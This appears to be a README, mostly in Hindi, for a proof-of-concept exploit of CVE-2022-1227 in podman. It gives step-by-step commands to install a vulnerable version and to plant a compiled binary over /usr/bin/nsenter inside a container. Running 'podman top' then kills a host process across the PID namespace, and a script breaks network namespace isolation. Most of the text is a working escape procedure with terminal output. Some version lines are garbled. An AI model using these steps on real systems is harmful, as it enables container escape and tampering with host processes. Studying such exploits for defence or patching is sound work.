
A script for exploiting CVE-2022-1227
CVE-2022-1227 का शोषण करने के लिए एक स्क्रिप्ट।
20.10 अनुशंसित है।4.0.0; 3.4.4 अनुशंसित है।TODO: इस कमजोरी के सिद्धांत को जोड़ें
आधिकारिक दस्तावेज़ में दिए गए निर्देशों का पालन करें: https://podman.io/getting-started/installation#installing-on-linux
Ubuntu 20.10 के लिए, इंस्टॉल कमांड होना चाहिए:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
इस खंड में हम PID नेमस्पेस की सीमा को तोड़ने और होस्ट में एक प्रक्रिया को kill करने के लिए एक सरल PoC का प्रयास करते हैं।
यहां चरण दिए गए हैं:
निम्नलिखित कमांड द्वारा एक कंटेनर चलाएं: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
./exp/bin में keep चलाएं और इसका चल रहा PID प्राप्त करें। आमतौर पर यह टर्मिनल पर अपना PID प्रदर्शित करेगा। चूंकि बाइनरी 600 सेकंड के लिए स्लीप करने के लिए सेट है, शायद आपको अगले चरणों को पूरा करने के लिए तेजी से काम करना होगा।
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
./exp/src/sendsig.c में स्रोत कोड संपादित करें और पिछले चरण में प्राप्त PID को वेरिएबल pid में भरें।
int pid = OLD_VAL;
से
int pid = 7719;
संकलित बाइनरी को आंतरिक podman में डालें: podman cp ./exp/bin/sendsig $container_name:/usr/bin/nsenter
इस खंड में, हम कंटेनर में क्लाइंट और होस्ट पर सर्वर के बीच अंतर-प्रक्रिया सॉकेट संचार को साकार करने के लिए सॉकेट का उपयोग करते हैं, जो आमतौर पर अलगाव तंत्र पूर्ण होने पर असंभव है। हम इस शोषण को साकार करने के लिए नेट नेमस्पेस के अलगाव को तोड़ने के लिए इस कमजोरी का उपयोग करते हैं।
पहले, cd ./exp द्वारा निर्देशिका में प्रवेश करें;
बस ./exploit.sh चलाने से, सब कुछ स्वचालित रूप से हो जाएगा; यदि सब कुछ ठीक रहा, तो सर्वर प्रदर्शित करेगा:
Hello from the container!
इसका मतलब है कि हम नेटवर्क नेमस्पेस को पार कर गए और बच निकले।
कमजोरी को ट्रिगर करने के लिए podman top चलाएं: podman top -l
यदि सब कुछ ठीक रहा, तो चल रही प्रक्रिया keep तुरंत मार दी जाएगी। यह असामान्य है, क्योंकि सामान्यतः कंटेनर के अंदर प्रक्रियाएं PID नेमस्पेस अलगाव के कारण होस्ट पर प्रक्रियाओं को सिग्नल नहीं भेज सकतीं।
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed